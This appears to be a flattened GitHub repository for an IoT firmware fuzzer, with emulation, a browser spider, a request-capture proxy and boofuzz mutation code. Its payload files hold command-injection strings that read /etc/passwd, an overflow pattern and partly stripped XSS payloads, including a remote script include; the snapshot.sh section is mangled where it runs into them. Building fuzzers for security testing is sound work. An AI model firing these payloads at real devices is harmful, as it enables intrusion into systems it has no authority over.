https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/toolchains/mipseb-linux-musl.tar.xz -------------------------------------------------------------------------------- /Emulation/toolchains/mipsel-linux-musl.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/toolchains/mipsel-linux-musl.tar.xz -------------------------------------------------------------------------------- /Fuzzer/IOT_logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('fuzzer') 4 | logger.setLevel(logging.DEBUG) 5 | fh = logging.FileHandler('debug.log') 6 | fh.setLevel(logging.DEBUG) 7 | formatter = logging.Formatter('%(asctime)s-%(name)s-%(levelname)s-%(message)s', "%m-%d %H:%M:%S") 8 | fh.setFormatter(formatter) 9 | logger.addHandler(fh) -------------------------------------------------------------------------------- /Fuzzer/boofuzz_modify.py: -------------------------------------------------------------------------------- 1 | from boofuzz import * 2 | from boofuzz.constants import DEFAULT_WEB_UI_PORT 3 | import os 4 | 5 | 6 | class New_target(Target): 7 | def __init__(self, connection, monitors=None, monitor_alive=None, max_recv_bytes=10000, repeater=None, firmware_log=None, interval = 0.4, **kwargs): 8 | super(New_target, self).__init__(connection) 9 | self.firmware_log = firmware_log 10 | self.XSS_payloads = [] 11 | self.BO_payloads = [] 12 | self.CI_payloads = [] 13 | self.interval = interval 14 | 15 | 16 | class IOT_mutate(primitives.base_primitive.BasePrimitive): 17 | def __init__(self, value, fuzzable=True, max_len=0, name=None, exploit_dir="./", attack_mode=0, encoding="ascii",): 18 | super(IOT_mutate, self).__init__() 19 | left = None 20 | self._original_value = value 21 | self._value = bytes(value, encoding="ascii") 22 | self._fuzzable = fuzzable 23 | self._name = name 24 | self._fuzz_library = [bytes("", encoding="ascii"), self._value] 25 | if "=" in self._original_value: 26 | left = self._original_value.split("=")[0] 27 | right = self._original_value.split("=")[0] 28 | for item in ["ci.txt", "xss.txt", "overflow.txt"]: 29 | path = os.path.join(exploit_dir, item) 30 | with open(path, "rb") as _file_handle: 31 | content = list(filter(None, _file_handle.read().splitlines())) 32 | for s in content: 33 | self._fuzz_library.append(s) 34 | self._fuzz_library.append(self._value + s) 35 | if left: 36 | self._fuzz_library.append(bytes(left + "=", encoding="ascii") + s) 37 | self._fuzz_library.append(bytes(left + "=" + right, encoding="ascii") + s) 38 | @property 39 | def name(self): 40 | return self._name 41 | 42 | def s_attack(value, encoding="ascii", fuzzable=True, max_len=0, name=None, exploit_dir="./", attack_mode=0): 43 | s = IOT_mutate(value, fuzzable, max_len, name, exploit_dir, attack_mode) 44 | blocks.CURRENT.push(s) -------------------------------------------------------------------------------- /Fuzzer/ci.txt: -------------------------------------------------------------------------------- 1 | 2 | /index.html|/test| 3 | ;/test; 4 | ;/test 5 | ;netstat -a; 6 | ;/test; 7 | |/test 8 | |/test 9 | |/test| 10 | |/test| 11 | ||/test| 12 | |/test; 13 | ||/test; 14 | ;/test| 15 | ;|/test| 16 | \n/bin/ls -al\n 17 | \n/test\n 18 | \n/test\n 19 | \n/test; 20 | \n/test; 21 | \n/test| 22 | \n/test| 23 | ;/test\n 24 | ;/test\n 25 | |/test\n 26 | |n/test\n 27 | `/test` 28 | `/test` 29 | a);/test 30 | a;/test 31 | a);/test; 32 | a;/test; 33 | a);/test| 34 | a;/test| 35 | a)|/test 36 | a|/test 37 | a)|/test; 38 | a|/test 39 | |/bin/ls -al 40 | a);/test 41 | a;/test 42 | a);/test; 43 | a;/test; 44 | a);/test| 45 | a;/test| 46 | a)|/test 47 | a|/test 48 | a)|/test; 49 | a|/test 50 | ;system('cat%20/etc/passwd') 51 | ;system('/test') 52 | ;system('/test') 53 | %0Acat%20/etc/passwd 54 | %0A/test 55 | %0A/test 56 | %0A/test%0A 57 | %0A/test%0A 58 | & ping -i 30 127.0.0.1 & 59 | & ping -n 30 127.0.0.1 & 60 | %0a ping -i 30 127.0.0.1 %0a 61 | `ping 127.0.0.1` 62 | | /test 63 | & /test 64 | ; /test 65 | %0a /test %0a 66 | `/test` 67 | $;/test 68 | -------------------------------------------------------------------------------- /Fuzzer/fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from imports import * 3 | from IOT_fuzzer import Main_fuzzer 4 | 5 | 6 | 7 | def main(): 8 | 9 | parser = argparse.ArgumentParser(description = 'IOTFuzz') 10 | parser.add_argument('-d', '--dir', required = True, \ 11 | help = 'The location of the emulated firmware') 12 | parser.add_argument('-p', '--pcap' , required = True, \ 13 | help = 'The location of captured pcaps') 14 | args = parser.parse_args() 15 | firm_dir = args.dir 16 | pcap_dir = args.pcap 17 | 18 | fuzzer = Main_fuzzer(firm_dir, pcap_dir) 19 | fuzzer.fuzz_https() 20 | # fuzzer.fuzz_login() 21 | # fuzzer.fuzz() 22 | 23 | 24 | 25 | 26 | if __name__ == "__main__": 27 | main() -------------------------------------------------------------------------------- /Fuzzer/imports.py: -------------------------------------------------------------------------------- 1 | import os, re, json, sys, time, argparse 2 | from configparser import ConfigParser 3 | 4 | 5 | 6 | 7 | class myparser(ConfigParser): 8 | def __init__(self, defaults=None): 9 | ConfigParser.__init__(self, defaults=defaults) 10 | 11 | def optionxform(self, optionstr): 12 | return optionstr 13 | 14 | -------------------------------------------------------------------------------- /Fuzzer/overflow.txt: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2 | -------------------------------------------------------------------------------- /Fuzzer/parse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from imports import * 3 | 4 | BLACK_LISTS = ["_"] 5 | PASS_KEY = "(password&)|(pwd&)|(passwd&)" 6 | 7 | def process(PCAP_DIR): 8 | index_file = open(os.path.join(PCAP_DIR, "index.config"), "a+") 9 | cf_write = myparser() 10 | cf_read = myparser() 11 | cf_read.read(os.path.join(PCAP_DIR, "index.config")) 12 | login = [] 13 | login_candidate = [] 14 | login_2_candidate = [] 15 | depend_candidate = [] 16 | get_pages = [] 17 | post_params = {} 18 | for item in cf_read.options("GET"): 19 | if "login." in item.lower(): 20 | login_candidate.append(item) 21 | if not re.search("-0$", item): 22 | page, params = re.match("GET-(.*)-[\d]+-(.*)", item).groups() 23 | if re.search(PASS_KEY, params.lower()): 24 | login_2_candidate.append(item) 25 | 26 | else: 27 | page = re.match("GET-(.*)-0", item) 28 | # method, page = re.match("(GET)-([^-]*)", item).groups() 29 | # pass 30 | get_pages.append(item) 31 | 32 | for item in cf_read.options("POST"): 33 | if "login." in item.lower(): 34 | login_candidate.append(item) 35 | num, params = re.search("-([\d]+)-(.*)", item).groups() 36 | if re.search(PASS_KEY, params.lower()): 37 | login_2_candidate.append(item) 38 | params = params.rstrip("&").split("&") 39 | for param in params: 40 | if param in post_params: 41 | post_params[param] += 1 42 | else: 43 | post_params[param] = 1 44 | # print(get_params) 45 | # print(post_params) 46 | # print(login_candidate) 47 | 48 | for item in login_candidate: 49 | if re.search(PASS_KEY, item.lower()): 50 | login.append(item) 51 | if len(login) == 0: 52 | for item in login_2_candidate: 53 | login.append(item) 54 | if(len(login) == 1): 55 | print("[+]Login pcap is %s" %login[0]) 56 | try: 57 | content = cf_read.get("POST", login[0]) 58 | except: 59 | content = cf_read.get("GET", login[0]) 60 | cf_write.add_section("LOGIN") 61 | cf_write.set("LOGIN", login[0], content) 62 | else: 63 | print("[+]There are some candidate login pcaps") 64 | print(login) 65 | 66 | if len(post_params) == 0: 67 | cf_write.write(index_file) 68 | index_file.close() 69 | return 70 | #Now analyse some dependences 71 | post_order = sorted(post_params.items(),key=lambda x:x[1],reverse=True) 72 | # print(post_order) 73 | for i in range(2): 74 | param = post_order[i][0] 75 | for page in get_pages: 76 | if param in page: 77 | depend_candidate.append(page) 78 | if len(depend_candidate) != 0: 79 | print("[+]candidate dependency: %s" %str(depend_candidate)) 80 | content = cf_read.get("GET", depend_candidate[0]) 81 | cf_write.add_section("DEPENDENCY") 82 | cf_write.set("DEPENDENCY", depend_candidate[0], content) 83 | 84 | cf_write.write(index_file) 85 | index_file.close() 86 | 87 | 88 | 89 | def main(): 90 | if (len(sys.argv) == 1): 91 | print("[+]Usage: ./parse.py DIR_TO_PCAPS") 92 | return False 93 | else: 94 | path = sys.argv[1] 95 | PCAP_DIR = os.path.join(path, "PCAPS") 96 | HTML_DIR = os.path.join(path, "HTML") 97 | 98 | process(PCAP_DIR) 99 | return True 100 | 101 | 102 | if __name__ == '__main__': 103 | main() 104 | -------------------------------------------------------------------------------- /Fuzzer/snapshot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | telnet localhost 3133 < 3 | #'';!--"=&{()} 4 | # 5 | # 6 | # 7 | # 8 | # 9 | # 10 | # 11 | #SRC= 12 | # 13 | # 14 | # 15 | # 16 | # 17 | # 18 | # 19 | # 20 | # 21 | #alert(\"XSS\") 22 | # 23 | #'"--> 70 | # 72 | # +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 73 | # 74 | # 75 | # 76 | # 77 | #PT SRC="xss.rocks/xss.js"> 78 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | There are three components in this projject: Emulation, Spider and Fuzzer. 3 | ## Emulation 4 | The Emulation component is based on Firmadyne and we futher add some modification in the linux kernel as well as the filesystem. 5 | You can follow the ###setup.sh### in this component to set up your emulation enviroment. 6 | 7 | ## Spider 8 | This component is used to capture the pcaps between the emulated devices and browsers. 9 | 10 | ## Fuzzer 11 | This component fuzzes the pcaps captured in Spider. 12 | -------------------------------------------------------------------------------- /Spider/gen_fuzz_script.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | IP='192.168.1.1' 4 | PORT=80 5 | script='from boofuzz import *\r\n' 6 | 7 | name_list = [] 8 | 9 | def add_script(lines): 10 | global script 11 | for line in lines: 12 | script += line 13 | 14 | 15 | def function_name(file_dir): 16 | global script 17 | functions = os.listdir(file_dir) 18 | for function in functions: 19 | function = 'function/' + function 20 | f=open(function,'r') 21 | lines=f.readlines() 22 | #print(lines) 23 | add_script(lines) 24 | script += '\r\n' 25 | 26 | def do_data(line): 27 | global script 28 | line = line[0:-1] 29 | t=line.split('&') 30 | for i in range(len(t)): 31 | m,n=t[i].split('=') 32 | script+='\t\ts_static("%s=")\r\n' %(m) 33 | script+='\t\ts_string("%s", max_len=1024)\r\n' %(n) 34 | if i!=len(t)-1: 35 | script+='\t\ts_static("&")\r\n' 36 | 37 | def do_body(line): 38 | global script 39 | t=line.split(' ') 40 | print(t) 41 | if t[0] != "GET": 42 | for i in range(len(t)): 43 | if '\n' in t[i]: 44 | tt=t[i].split('\n') 45 | if i!=0: 46 | script+='\ts_delim(" ")\r\n' 47 | script+='\ts_static("%s")\r\n' %(tt[0]) 48 | script+='\ts_static("\\r\\n")\r\n' 49 | else: 50 | if i!=0: 51 | script+='\ts_delim(" ")\r\n' 52 | script+='\ts_static("%s")\r\n' %(t[i]) 53 | else: 54 | print("123") 55 | 56 | 57 | 58 | 59 | function_name("function") 60 | print(script) 61 | 62 | 63 | script+='def main():\r\n' 64 | script+='\ttar=Target(connection=TCPSocketConnection("%s", %d))\r\n' %(IP,PORT) 65 | script+='\tsession = Session(target=tar,receive_data_after_each_request=True,)\r\n' 66 | 67 | 68 | 69 | f = open("1.txt", 'r') 70 | Fscript=open('FuzzScript.py','w') 71 | lines=f.readlines() 72 | if_data = False 73 | for i in range(len(lines)): 74 | line = lines[i] 75 | if line[0:3] == "-*-": 76 | name = line[3:-1] 77 | print(name) 78 | script+= '\ts_initialize(name="%s")\r\n' %(name) 79 | name_list.append(name) 80 | 81 | 82 | elif line == '\n': 83 | next_line = lines[i+1] 84 | if next_line[0:3] != "-*-" : 85 | if_data = True 86 | 87 | else: 88 | print(i) 89 | if if_data: 90 | script+= '\twith s_block("data"):\r\n' 91 | do_data(next_line) 92 | print("data") 93 | if_data = False 94 | else: 95 | 96 | do_body(line) 97 | 98 | 99 | # while line: 100 | # if line=='\r\n': 101 | # line=f.readline() 102 | # script+='\ts_static("\\r\\n", "Request-CRLF")\r\n' 103 | # script+='\twith s_block("Body-Content"):\r\n' 104 | # do_body(line) 105 | # script+='\tsession.connect(s_get("Post"))\r\n' 106 | # script+='\tsession.fuzz()\r\n' 107 | # script+='if __name__ == "__main__":\r\n' 108 | # script+='\tmain()\r\n' 109 | # f.seek(0) 110 | # all_file=f.read() 111 | # script+='\r\n\'\'\'\r\n'+all_file+'\r\n\'\'\'' 112 | 113 | # else: 114 | 115 | # t=line.split(' ') 116 | # for i in range(len(t)): 117 | 118 | # line=f.readline() 119 | # script+='\r\n' 120 | print(script) 121 | Fscript.write(script) 122 | Fscript.close() 123 | f.close() 124 | print(name_list) 125 | -------------------------------------------------------------------------------- /Spider/proxylogger.py: -------------------------------------------------------------------------------- 1 | import mitmproxy 2 | 3 | n = 1 4 | 5 | def real_path(path): 6 | print(path) 7 | if path == "/": 8 | return False 9 | elif path[-3:] == "php" or path[-3:] == "cgi": 10 | return True 11 | elif path[-2:] == "js" or path[-3:] == "gif" or path[-3:] == "css": 12 | return False 13 | return True 14 | 15 | 16 | class ProxyLogger: 17 | 18 | def __init__(self,request_url): 19 | self.request_url = request_url 20 | 21 | def request(self,flow): 22 | global n 23 | f = open("PROXY_MODE_FILE", 'r') 24 | mode = f.readline() 25 | #Creating template request 26 | print(mode) 27 | if mode != '0': 28 | print ('REQUEST CAPTURE MODE') 29 | headers = flow.request.headers 30 | request = flow.request.get_text(strict=True) 31 | if real_path(flow.request.path): 32 | string = "-*-" + str(n) + "\n" 33 | n = n + 1 34 | #print() 35 | # if flow.request.method == 'GET' and \ 36 | # '?' not in flow.request.path: 37 | # return 38 | string += flow.request.method + ' ' 39 | string += flow.request.path + ' ' 40 | string += flow.request.http_version + '\n' 41 | print(string) 42 | for k,v in headers.items(): 43 | #print(k,v) 44 | temp = '%s %s\n'%(k,v) 45 | string = string + temp 46 | string = string + '\n' 47 | with open("REQUEST_FILE"+mode, 'a') as f: 48 | f.write(string) 49 | print(request) 50 | if len(request) > 0: 51 | f.write(request + '\n') 52 | f.close() 53 | 54 | # def response(self,flow): 55 | # f = open("PROXY_MODE_FILE", 'r') 56 | # mode = f.readline() 57 | # #Logging the response status code 58 | 59 | # self.forced_browsing_mode(flow) 60 | 61 | # def normal_log_mode(self,flow): 62 | # status_code = str(flow.response.status_code)[0] #checking first digit of the error code 63 | # # if status_code == '4' or status_code == '5': #4xx or 5xx error code received 64 | # # fp1 = open(ERROR_FILE, 'a+') 65 | # # fp1.write(self.request_url + ' ' + str(flow.response.status_code) + '\n') 66 | # # fp1.close() 67 | 68 | # def forced_browsing_mode(self,flow): 69 | # status_code = str(flow.response.status_code) 70 | # if status_code == '200': 71 | # print('DISCLOSURE DETECTED') 72 | 73 | def start(): 74 | return ProxyLogger('placeholder') 75 | -------------------------------------------------------------------------------- /Spider/spider.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from pyppeteer import launch 3 | import time 4 | 5 | browser, page, frame = None, None, None 6 | input_list = ["input"] 7 | click_list = ["label","button"] 8 | link_list = ["a"] 9 | # input_id_list = [] 10 | # click_id_list = [] 11 | input_id_list = {'M': [] } 12 | click_id_list = {'M': [] } 13 | link_id_list = {'M': [] } 14 | # input_id_list = {'M': [] , 'F1' : [] ,'F2' : [] ,'F3' : [] ,'F4' : [] ,'F5' : [] } 15 | # click_id_list = {'M': [] , 'F1' : [] ,'F2' : [] ,'F3' : [] ,'F4' : [] ,'F5' : [] } 16 | # link_id_list = {'M': [] , 'F1' : [] ,'F2' : [] ,'F3' : [] ,'F4' : [] ,'F5' : [] } 17 | page_frames = [] 18 | url_list = [] 19 | 20 | finded_link = [] #找到的链接 21 | clicked_link = [] #点击过的链接，不再点击 22 | 23 | root_url = "http://0.0.0.0:8080/" 24 | root_url2 = "http://192.168.0.1/" 25 | 26 | 27 | 28 | #async def css_selector_list(page,p,fnum):#识别页面元素 29 | 30 | async def get_element_list(page,p,fnum):#识别页面元素 31 | global url_list,input_id_list ,click_id_list 32 | print("getting",p) 33 | element_id_list = [] 34 | try: 35 | element_list = await page.querySelectorAll(p) 36 | for element in element_list: 37 | id = await page.evaluate('(element) => element.id', element) 38 | id_null = False 39 | name_null = False 40 | if id == "": 41 | id_null = True 42 | name = await page.evaluate('(element) => element.name', element) 43 | # if name =="": 44 | # name_null = True 45 | # value = await page.evaluate('(element) => element.value', element) 46 | if_input = True 47 | element_type = await page.evaluate('(element) => element.onclick', element) 48 | if element_type == "hidden": 49 | if_input = False 50 | 51 | try: 52 | 53 | if p == "input": 54 | element_type = await page.evaluate('(element) => element.type', element) 55 | element_click = await page.evaluate('(element) => element.onclick', element) 56 | 57 | #print(element_click) 58 | if element_click != None or element_type == "submit": 59 | input_click = [] 60 | if id_null: 61 | if name_null: 62 | input_click.append(p+"[value="+value + "]") 63 | else: 64 | input_click.append(p+"[name="+name + "]") 65 | else: 66 | input_click.append("#"+id) 67 | 68 | if_input = False 69 | tem_list = click_id_list[fnum] + input_click 70 | click_id_list[fnum] = tem_list 71 | #click_id_list.append(input_click) 72 | #print(element_type) 73 | if element_type == "hidden": 74 | if_input = False 75 | elif p == "a": 76 | 77 | url = await page.evaluate('(element) => element.href', element) 78 | #print(url[0:20]) 79 | #if url[0:19] != root_url: 80 | #url_list.append(url) 81 | lens = len(root_url) 82 | if url[0:lens] != root_url: 83 | if_input = False 84 | else: 85 | if url not in url_list: 86 | url_list.append(url) 87 | if id_null: 88 | url = url[lens:] 89 | link_click = [] 90 | #print(url) 91 | link_click.append(p+"[href='"+ url+ "']") 92 | tem_list = link_id_list[fnum] + link_click 93 | link_id_list[fnum] = tem_list 94 | if_input = False 95 | 96 | # url_list.append(url) 97 | # tem_link = [] 98 | # tem_link.append("#"+id) 99 | # tem_list = link_id_list[fnum] + tem_link 100 | # link_id_list[fnum] = tem_list 101 | #print(url) 102 | else: 103 | element_click = await page.evaluate('(element) => element.onclick', element) 104 | #print(element_click ) 105 | if element_click == None: 106 | if_input = False 107 | except: 108 | print("error") 109 | #print(id,if_input) 110 | if if_input: 111 | if id_null: 112 | element_id_list.append(p+"[name="+name + "]") 113 | else: 114 | element_id_list.append("#"+id) 115 | #print(element_id_list) 116 | except: 117 | print("no",p) 118 | return element_id_list 119 | 120 | 121 | async def get_id_list(page,fnum,p_type): 122 | 123 | global input_id_list,click_id_list 124 | if p_type == 1:#input 125 | for p in input_list: 126 | id_list = await get_element_list(page,p,fnum) 127 | tem_list = input_id_list[fnum] + id_list 128 | input_id_list[fnum] = tem_list 129 | print(input_id_list) 130 | elif p_type == 2: 131 | for p in click_list: 132 | id_list = await get_element_list(page,p,fnum) 133 | tem_list = click_id_list[fnum] + id_list 134 | click_id_list[fnum] = tem_list 135 | print(click_id_list) 136 | elif p_type == 3: 137 | for p in link_list: 138 | id_list = await get_element_list(page,p,fnum) 139 | tem_list = link_id_list[fnum] + id_list 140 | link_id_list[fnum] = tem_list 141 | print(link_id_list) 142 | #click_id_list.append(id_list) 143 | 144 | 145 | async def force_inputorclick(page):#点击页面元素,填充以数字填充 146 